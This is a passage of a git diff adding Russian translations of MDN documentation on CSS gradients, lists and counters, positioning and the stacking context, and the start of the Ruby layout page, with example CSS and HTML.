.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+
+ +

{{ EmbedLiveSample('Управление_переходом_градиента', 120, 120) }}

+
+ +

Перекрытие градиентов

+ +

Градиенты поддерживают прозрачность, так что вы можете накладывать фоны для получения всяких разных эффектов. Фоны накладываются снизу вверх таким образом, что первый объявленный будет лежать поверх остальных.

+ + + +
.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+ +

{{ EmbedLiveSample('Перекрытие_градиентов', 300, 150) }}

+ +

Наслаивание градиентов

+ +

Вы можете даже наслаивать градиенты друг на друга. Если верхние градиенты не полностью непрозрачны, градиенты, лежащие под ними, тоже будут видны.

+ + + +
.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+ +

{{ EmbedLiveSample('Наслаивание_градиентов', 200, 200) }}

+ +

Использование круговых градиентов

+ +

Круговые градиенты схожи с линейными градиентами, за исключением того, что они создают градиентный круг по направлению от центральной точки. Вы можете указать, где должна находиться центральная точка. Вы также можете сделать её круглой или овальной.

+ +

Обычный круговой градиент

+ +

Как и в случае с линейными градиентами, всё, что вам нужно, чтобы создать круговой градиент – это два цвета. По умолчанию центр градиента находится на отметке 50% 50%, градиент становится овальным с учётом соотношения сторон содержащего его блока:

+ + + +
.simple-radial {
+  background: radial-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('Обычный_круговой_градиент', 120, 120) }}

+ +

Размещение круговых точек остановки

+ +

Опять же, как и у линейных градиентов, вы можете расположить каждую круговую точку остановки, указав значение в виде процентной или абсолютной длины.

+ + + +
.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Размещение_круговых_точек_остановки', 120, 120) }}

+ +

Расположение центра градиента

+ +

Вы можете расположить центр градиента с помощью ключевых значений, процентной или абсолютной длины. Значения в виде числа или процента повторяются в случае, если указано только одно из них, иначе порядок повторения будет определяться порядком расположения, начиная слева и сверху.

+ + + +
.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Расположение_центра_градиента', 120, 120) }}

+ +

Задание размеров кругового градиента

+ +

В отличие от линейных градиентов, круговому градиенту можно задавать размеры. Возможные значения включат в себя: ближайший угол, ближайшая сторона, самый дальний угол и самая дальняя сторона, самый дальний угол – значение по умолчанию.

+ +

Пример: ближайшая сторона для эллипса

+ +

В этом примере используется значение размера closest-side, которое означает, что размер определяется расстоянием от начальной точки (центра) до ближайшей стороны блока.

+ + + +
.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Пример_ближайшая_сторона_для_эллипса', 240, 100) }}

+ +

Пример: самый дальний угол для эллипса

+ +

Этот пример схож с предыдущим, за исключением того, что его размер указан как farthest-corner, что устанавливает размер градиента значением расстояния от начальной точки до самого дальнего угла блока.

+ + + +
.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Пример_самый_дальний_угол_для_эллипса', 240, 100) }}

+ +

Пример: ближайшая сторона для круга

+ +

Этот пример использует closest-side, что задаёт размер круга как расстояние между начальной точкой (центром) и ближайшей стороной. Радиус круга – это расстояние между центром градиента и ближайшей стороной. Круг, с учётом позиционирования в точке 25% от левой стороны и 25% от низа, ближе всего к низу, так как расстояние по высоте в этом случае меньше, чем по ширине.

+ + + +
.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Пример_ближайшая_сторона_для_круга', 240, 120) }}

+ +

Наложение круговых градиентов

+ +

Вы можете накладывать круговые градиенты так же, как линейные. Первый объявленный будет сверху, последний – снизу.

+ + + +
.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+
+ +

{{ EmbedLiveSample('Наложение_круговых_градиентов', 200, 200) }}

+ +

Использование конических градиентов

+ +

CSS-функция conic-gradient() создаёт изображение, состоящее из градиента с переходом цвета, обёрнутым вокруг центральной точки (в отличие от градиента, исходящего кругом от центральной точки). Образцом конического градиента можно назвать круговые диаграммы и цветовые круги, но он также может быть использован для создания шахматной доски (клетки) и других интересных эффектов.

+ +

Синтаксис конического градиента схож с синтаксисом кругового градиента, но с тем отличием, что точки остановки цвета располагаются вокруг градиентной дуги, вдоль длины окружности круга, а не по градиентной линии, идущей от центра градиента. Также, точки остановки цвета задаются только в процентах или градусах, абсолютные величины недопустимы.

+ +

В круговом градиенте цвета переходят от центра окружности наружу, во всех направлениях. В случае конического градиента цвета идут, как бы оборачиваясь вокруг центра круга, начиная сверху и двигаясь по часовой стрелке. Так же, как и в круговом градиенте, вы можете указать расположение центра градиента. Так же, как и в линейном градиенте, вы можете изменять угол градиента.

+ +
+

Обычный конический градиент

+ +

Так же, как и в случае с линейными и круговыми градиентами, всё, что вам нужно для создания конического градиента – это два цвета. По умолчанию центр градиента находится в точке 50% 50%, начало градиента направлено вверх:

+ + + +
.simple-conic {
+  background: conic-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('Обычный_конический_градиент', 120, 120) }}

+
+ +
+

Расположение конического центра

+ +

Как и в круговом градиенте, вы можете задать расположение центра конического градиента с помощью ключевых значений, процентных или абсолютных величин с использованием ключевого слова "at".

+ + + +
.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Расположение_конического_центра', 120, 120) }}

+
+ +
+

Изменение угла

+ +

Вы можете задать угол, в котором направлено начало градиента значением типа {{cssxref("<angle>")}}, с предшествующим ему ключевым словом "from".

+ + + +
.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+
+ +

{{ EmbedLiveSample('Изменение_угла', 120, 120) }}

+
+ +

Использование повторяющихся градиентов

+ +

Функции {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}} и {{cssxref("conic-gradient")}} не поддерживают автоматически повторяющиеся точки остановки цвета. Однако, для реализации этой функциональности существуют функции {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}} и {{cssxref("repeating-conic-gradient")}}.

+ +

Размер повторяющейся градиентной линии или дуги – это длина от значения первой до значения последней точки остановки цвета. Если первая точка остановки содержит только цвет без указания длины до точки остановки, то используется значение по умолчанию, равное 0. Если последняя точка остановки содержит только цвет без указания длины до точки установки, то используется значение по умолчанию, равное 100%. Если ни то, ни другое не определено, то линия градиента будет равна 100%, что означает, что линейный и конический градиент не будет повторяться, а круговой градиент будет повторяться, только если радиус градиента меньше, чем расстояние между центром градиента и самым дальним углом. Если первая точка остановки определена и имеет значение больше 0, градиент будет повторяться при условии, что размер линии или дуги равен разнице между первой и последней точкой остановки, если эта разница меньше, чем 100% или 360 градусов.

+ +
+

Повторяющиеся линейные градиенты

+ +

В этом примере используется {{cssxref("repeating-linear-gradient")}} для создания повторяющегося градиента, идущего по прямой линии. Цветовая последовательность начинается заново с каждым повторением градиента. В данном случае градиент имеет длину 10px.

+ + + +
.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+
+ +

{{ EmbedLiveSample('Повторяющиеся_линейные_градиенты', 120, 120) }}

+
+ +
+

Множественные повторяющиеся линейные градиенты

+ +

Так же, как и в случае с обычными линейными и круговыми градиентами, вы можете использовать множественные градиенты, один поверх другого. Это имеет смысл, только если градиенты частично прозрачны, что позволяет видеть одни градиенты сквозь прозрачные части других градиентов, этого же можно достичь при условии использования разных размеров фона (background-size), при этом возможно ещё и при разных значениях свойства background-position для каждого градиента. Мы использовали прозрачность.

+ +

В данном случае градиентные линии имеют длину 300px, 230px и 300px.

+ + + +
.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+
+ +

{{ EmbedLiveSample('Множественные_повторяющиеся_линейные_градиенты', 600, 400) }}

+
+ +

Клетчатый градиент

+ +

Для создания клетчатого градиента мы используем несколько полупрозрачных перекрывающих друг друга градиентов. В первом объявлении фона мы внесли в список каждую остановку цвета отдельно. Во втором объявлении свойства background используется синтаксис многопозиционных остановок цвета:

+ + + +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Клетчатый_градиент', 200, 200) }}

+ +

Повторяющиеся круговые градиенты

+ +

В этом примере для создания кругового градиента, повторяющегося из центральной точки, используется {{cssxref("repeating-radial-gradient")}}. Цветовая последовательность начинаются заново с каждой итерацией повторения градиента.

+ + + +
.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+
+ +

{{ EmbedLiveSample('Повторяющиеся_круговые_градиенты', 120, 120) }}

+ +

Множественные повторяющиеся круговые градиенты

+ + + +
.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+
+ +

{{ EmbedLiveSample('Множественные_повторяющиеся_круговые_градиенты', 250, 150) }}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_lists_and_counters/index.html b/files/ru/web/css/css_lists_and_counters/index.html new file mode 100644 index 0000000000..773990c723 --- /dev/null +++ b/files/ru/web/css/css_lists_and_counters/index.html @@ -0,0 +1,134 @@ +--- +title: CSS Lists and Counters +slug: Web/CSS/CSS_Lists_and_Counters +tags: + - CSS + - CSS Lists and Counters + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Lists_and_Counters +--- +
{{CSSRef}}
+ +

CSS Lists and Counters is a module of CSS that defines how lists are laid out, how the list marker can be styled and how authors can create new counters.

+ +

Reference

+ +

Properties

+ +
+
    +
  • {{cssxref("list-style-image")}}
    • +
  • {{cssxref("list-style-type")}}
    • +
  • {{cssxref("list-style-position")}}
    • +
  • {{cssxref("list-style")}}
    • +
  • {{cssxref("counter-reset")}}
    • +
  • {{cssxref("counter-increment")}}
    • +
+
+ +

At-rules

+ +
+
{{cssxref("@counter-style")}}
+
+
+
    +
  • {{cssxref("@counter-style/system","system")}}
    • +
  • {{cssxref("@counter-style/additive-symbols", "additive-symbols")}}
    • +
  • {{cssxref("@counter-style/negative", "negative")}}
    • +
  • {{cssxref("@counter-style/prefix", "prefix")}}
    • +
  • {{cssxref("@counter-style/suffix", "suffix")}}
    • +
  • {{cssxref("@counter-style/range", "range")}}
    • +
  • {{cssxref("@counter-style/pad", "pad")}}
    • +
  • {{cssxref("@counter-style/speak-as", "speak-as")}}
    • +
  • {{cssxref("@counter-style/fallback", "fallback")}}
    • +
+
+
+
+ +

Guides

+ +
+
Consistent list indentation
+
Explains how to reach a consistent indentation between different browsers.
+
Using CSS counters
+
Describes how to use counters to be able to use numbering outside of traditional list elements or to perform complex counting.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Lists')}}{{Spec2('CSS3 Lists')}} 
{{SpecName('CSS2.1', 'generate.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0{{CompatGeckoDesktop("1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..6f2cf1d36b --- /dev/null +++ b/files/ru/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,126 @@ +--- +title: CSS счетчики +slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +tags: + - CSS + - CSS счетчики + - вложенные счетчики +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +
{{CSSRef}}
+ +

CSS счетчики, в своей сущности, переменные CSS, значения которых могут быть инкрементированы при помощи CSS для отслеживания количества их использования. Они позволяют регулировать внешний вид контента, основываясь на его местоположении в документе. CSS счетчики реализованы в CSS 2.1 (ссылка на спецификацию).

+ +

Значение счетчика сбрасывается (инициализируется) при помощи {{cssxref("counter-reset")}}. 

+ +

{{cssxref("counter-increment")}} может быть отображен на странице, используя функцию counter() или counters() в свойстве {{cssxref("content")}}.

+ +

Использование счетчиков

+ +

Для того, чтобы использовать CSS счетчики, сначала необходимо сбросить их значение (0 по умолчанию). Для того, чтобы отобразить значение счетчика - используйте функцию counter(). Следующий пример прибавляет в начале каждого h3 элемента "Section <значение счетчика>:".

+ +
body {
+  counter-reset: section;                     /* Устанавливает значение
+                                                 счетчика, равным 0 */
+}
+
+h3::before {
+  counter-increment: section;                 /* Инкрементирует счетчик*/
+  content: "Секция " counter(section) ": ";   /* Отображает текущее
+                                                 значение счетчика */
+}
+
+ +

Пример:

+ +
<h3>Вступление</h3>
+<h3>Основная часть</h3>
+<h3>Заключение</h3>
+ +

{{EmbedLiveSample("Использование_счетчиков", 200, 150)}}

+ +

Вложенные счетчики

+ +

CSS счетчики могут быть очень полезны для создания нумерованых списков, потому что новая сущность CSS счетчика автоматически создается в дочерних элементах. Используя функцию counters(), можно вставить строку между разными уровнями вложенных счетчиков. Пример:

+ +
ol {
+  counter-reset: section;           /*Создает новый счетчик для каждого
+                                      тега <ol>*/
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;      /*Инкрементировуется только счетчик
+                                     текущего уровня вложенности*/
+  content: counters(section,".") " ";/*Добавляем значения всех уровней
+                                    вложенности, используя разделитель '.'*/
+                                   /*Если необходима поддержка < IE8,
+                                      необходимо убедиться, что после
+                                      разделителя ('.') не стоит пробел*/
+}
+
+ +

Обьединим с данным HTML:

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+          <li>item</li>  <!-- 2.3.3 -->
+        </ol>
+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+ +

Результат:

+ +

{{EmbedLiveSample("Вложенные_счетчики", 250, 350)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}Без изменений
{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}{{Spec2("CSS2.1")}}Изначальное определение
+ +

Смотрите также

+ +
    +
  • {{cssxref("counter-reset")}}
    • +
  • {{cssxref("counter-increment")}}
    • +
diff --git a/files/ru/web/css/css_positioning/index.html b/files/ru/web/css/css_positioning/index.html new file mode 100644 index 0000000000..43570e40cd --- /dev/null +++ b/files/ru/web/css/css_positioning/index.html @@ -0,0 +1,115 @@ +--- +title: CSS Positioning +slug: Web/CSS/CSS_Positioning +tags: + - CSS + - CSS Positioning + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Positioning +--- +

{{CSSRef}}

+ +

CSS Positioning is a module of CSS that defines how to absolutely and relavitely position elements on the page.

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("bottom")}}
    • +
  • {{cssxref("clear")}}
    • +
  • {{cssxref("display")}}
    • +
  • {{cssxref("float")}}
    • +
  • {{cssxref("left")}}
    • +
  • {{cssxref("position")}}
    • +
  • {{cssxref("right")}}
    • +
  • {{cssxref("top")}}
    • +
  • {{cssxref("visibility")}}
    • +
  • {{cssxref("z-index")}}
    • +
+
+ +

Guides

+ +
+
Understanding CSS z-index
+
Presents the notion of stacking context and explain how z-ordering works, with several examples.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Positioning') }}{{ Spec2('CSS3 Positioning') }} 
{{ SpecName('CSS2.1', 'visuren.html') }}{{ Spec2('CSS2.1') }} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0{{ CompatGeckoDesktop("1") }}5.06.01.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.0{{ CompatGeckoMobile("1") }}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html new file mode 100644 index 0000000000..8a76b44318 --- /dev/null +++ b/files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html @@ -0,0 +1,283 @@ +--- +title: Контекст наложения (stacking context) +slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +--- +

Контекст наложения (stacking context) это концепция трехмерного расположения HTML элементов вдоль оси Z по отношению к пользователю, находящемуся перед экраном.  HTML элементы занимают это место по порядку, основанному на атрибутах элемента.

+ +

« CSS « Understanding CSS z-index

+ +

Контекст наложения

+ +

 

+ +

В предыдущем примере  Добавляем z-index, порядок отображения определенных DIVs элементов зависел от их z-index значения. Это возникает благодаря тому, что у этих элементов есть специальные свойства, которые заставляют их формировать контекст наполнения ( stacking context ).

+ +

Контекст может формироваться в любом месте документа, любым элементом, у которого выполняется одно из следующих условий: 

+ +
    +
  • является корневым элементом (HTML),
    • +
  • позиционирован абсолютно (position:absolute) или относительно (position:relative) с z-index значением отличным от "auto",
    • +
  • flex элемент с z-index отличным от  "auto", чей родительский элемент имеет свойство display: flex|inline-flex,
    • +
  • элементы с  {{cssxref("opacity")}} меньше чем 1. (См. the specification for opacity),
    • +
  • элементы с  {{cssxref("transform")}} отличным от "none",
    • +
  • элементы с {{cssxref("mix-blend-mode")}} значением отличным от "normal",
    • +
  • элементы с {{cssxref("filter")}} значением отличным от "none",
    • +
  • элементы с {{cssxref("isolation")}} установленным в  "isolate",
    • +
  • position: fixed
    • +
  • если мы указываем элементу атрибут  {{cssxref("will-change")}} при этом не обязательно присваивать ему значения (См. this post)
    • +
  • элементы с {{cssxref("-webkit-overflow-scrolling")}} установленым в "touch"
    • +
+ +

Внутри контекста наложения дочерние элементы расположены в соответствии с правилами, описанными ранее. Важно заметить, что значения свойства z-index для дочерних элементов формирующих контекст наложения, будут учитываться только в рамках родительского элемента. Контекст наложения обрабатываются атомарно, как единое целое в контексте наложения родителя.

+ +

Суммируем:

+ +
    +
  • Позиционирование и присваивание HTML элементам свойства z-index создает контекст наложения, (так же как и присваивание элементу opacity меньше 1).
    • +
  • Контексты наложения могут быть частью других контекстов наложения и вместе создавать иерархию контекстов наложения. 
    • +
  • Каждый контекст наложения абсолютно независим от своего соседа: только подчиненные элементы учитываются при обработке контекста наложения.
    • +
+ +
Note: Иерархия контекстов наложения является подмножеством иерархии HTML элементов, потому что только определенные элементы создают контексты наложения. Можно сказать, что элементы, которые не создают собственного контекста наложения, используют контекст наложения родителя.
+ +

Пример

+ +

Example of stacking rules modified using z-index

+ +

В примере каждый позиционированный элемент создает свой контекст наложения, так как имеет свойства position и z-index. Иерархия контекстов наложения выглядит следующим образом:

+ +
    +
  • Root +
      +
    • DIV #1
      • +
    • DIV #2
      • +
    • DIV #3 +
        +
      • DIV #4
        • +
      • DIV #5
        • +
      • DIV #6
        • +
      +
      • +
    +
    • +
+ +

Важно отметить, что DIV #4, DIV #5 и DIV #6 являются дочерними для DIV #3, поэтому они полностью располагаются в DIV#3. Once stacking and rendering within DIV #3 is completed, the whole DIV #3 element is passed for stacking in the root element with respect to its sibling's DIV.

+ +
+

Notes:

+ +
    +
  • DIV #4 отрисовывается под DIV #1, потому что z-index (5) DIV #1 действителен внутри контекта наложения корневого элемента, в то время как z-index (6) DIV #4 действителен внутри контекста наложения DIV #3. Поэтому,  DIV #4 находиться ниже DIV #1, потому что DIV #4 принадлежит DIV #3, который в свою очередь имеет меньший z-index(по сравнению с .DIV #1).
    • +
  • По этим же причинам DIV #2 (z-index 2) отрисовывается под DIV#5 (z-index 1), так как DIV #5 принадлежит DIV #3, чей z-index больше( чем z-index DIV #2).
    • +
  • У DIV #3 есть свойство z-index 4, но это значение независимо от z-index'ов DIV #4, DIV #5 и DIV #6, потому что принадлежат они разным контекстам наложения.
    • +
  • An easy way to figure out the rendering order of stacked elements along the Z axis is to think of it as a "version number" of sorts, where child elements are minor version numbers underneath their parent's major version numbers. This way we can easily see how an element with a z-index of 1 (DIV #5) is stacked above an element with a z-index of 2 (DIV #2), and how an element with a z-index of 6 (DIV #4) is stacked below an element with a z-index of 5 (DIV #1). In our example (sorted according to the final rendering order): +
      +
    • Root +
        +
      • DIV #2 - z-index is 2
        • +
      • DIV #3 - z-index is 4 +
          +
        • DIV #5 - z-index is 1, stacked under an element with a z-index of 4, which results in a rendering order of 4.1
          • +
        • DIV #6 - z-index is 3, stacked under an element with a z-index of 4, which results in a rendering order of 4.3
          • +
        • DIV #4 - z-index is 6, stacked under an element with a z-index of 4, which results in a rendering order of 4.6
          • +
        +
        • +
      • DIV #1 - z-index is 5
        • +
      +
      • +
    +
    • +
+
+ +

Example Source Code

+ +
<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
+  <head>
+
+    <title>Understanding CSS z-index: The Stacking Context: Example Source</title>
+
+    <style type="text/css">
+      * {
+        margin: 0;
+        }
+      html {
+        padding: 20px;
+        font: 12px/20px Arial, sans-serif;
+        }
+      div {
+        opacity: 0.7;
+        position: relative;
+        }
+      h1 {
+        font: inherit;
+        font-weight: bold;
+        }
+      #div1, #div2 {
+        border: 1px dashed #696;
+        padding: 10px;
+        background-color: #cfc;
+        }
+      #div1 {
+        z-index: 5;
+        margin-bottom: 190px;
+        }
+      #div2 {
+        z-index: 2;
+        }
+      #div3 {
+        z-index: 4;
+        opacity: 1;
+        position: absolute;
+        top: 40px;
+        left: 180px;
+        width: 330px;
+        border: 1px dashed #900;
+        background-color: #fdd;
+        padding: 40px 20px 20px;
+        }
+      #div4, #div5 {
+        border: 1px dashed #996;
+        background-color: #ffc;
+        }
+      #div4 {
+        z-index: 6;
+        margin-bottom: 15px;
+        padding: 25px 10px 5px;
+        }
+      #div5 {
+        z-index: 1;
+        margin-top: 15px;
+        padding: 5px 10px;
+        }
+      #div6 {
+        z-index: 3;
+        position: absolute;
+        top: 20px;
+        left: 180px;
+        width: 150px;
+        height: 125px;
+        border: 1px dashed #009;
+        padding-top: 125px;
+        background-color: #ddf;
+        text-align: center;
+        }
+    </style>
+
+  </head>
+  <body>
+
+    <div id="div1">
+      <h1>Division Element #1</h1>
+      <code>position: relative;<br/>
+      z-index: 5;</code>
+    </div>
+
+    <div id="div2">
+      <h1>Division Element #2</h1>
+      <code>position: relative;<br/>
+      z-index: 2;</code>
+    </div>
+
+    <div id="div3">
+
+      <div id="div4">
+        <h1>Division Element #4</h1>
+        <code>position: relative;<br/>
+        z-index: 6;</code>
+      </div>
+
+      <h1>Division Element #3</h1>
+      <code>position: absolute;<br/>
+      z-index: 4;</code>
+
+      <div id="div5">
+        <h1>Division Element #5</h1>
+        <code>position: relative;<br/>
+        z-index: 1;</code>
+      </div>
+
+      <div id="div6">
+        <h1>Division Element #6</h1>
+        <code>position: absolute;<br/>
+        z-index: 3;</code>
+      </div>
+
+    </div>
+
+  </body>
+</html>
+
+ +

Division Element #1

+ +
position: relative;
+z-index: 5;
+
+ +
+

Division Element #2

+ +
position: relative;
+z-index: 2;
+
+
+ +
+

Division Element #3

+ +
position: absolute;
+z-index: 4;
+
+
+ +
+

Division Element #4

+ +
position: relative;
+z-index: 6;
+
+
+ +
+

Division Element #5

+ +
position: relative;
+z-index: 1;
+
+
+ +
+

Division Element #6

+ +
position: absolute;
+z-index: 3;
+
+
+ +

Смотрите также

+ + + +
+

Original Document Information

+ + +
diff --git a/files/ru/web/css/css_ruby/index.html b/files/ru/web/css/css_ruby/index.html new file mode 100644 index 0000000000..fb4a2f71f7 --- /dev/null +++ b/files/ru/web/css/css_ruby/index.html @@ -0,0 +1,92 @@ +--- +title: CSS Ruby Layout +slug: Web/CSS/CSS_Ruby +translation_of: Web/CSS/CSS_Ruby +--- +
{{CSSRef}}
+ +

CSS Ruby Layout - это модуль CSS, который предоставляет модель рендеринга и элементы управления форматированием, связанные с отображением аннотации ruby. Рубиновая аннотация - это форма межлинейной аннотации, состоящая из коротких строк текста наряду с базовым текстом. Они обычно используются в восточноазиатских документах для обозначения произношения или для краткой аннотации.

+ +

Reference

+ +

CSS properties

+ +
+
    +
  • {{cssxref("ruby-align")}}
    • +
  • {{cssxref("ruby-position")}}
    • +
+
+ +

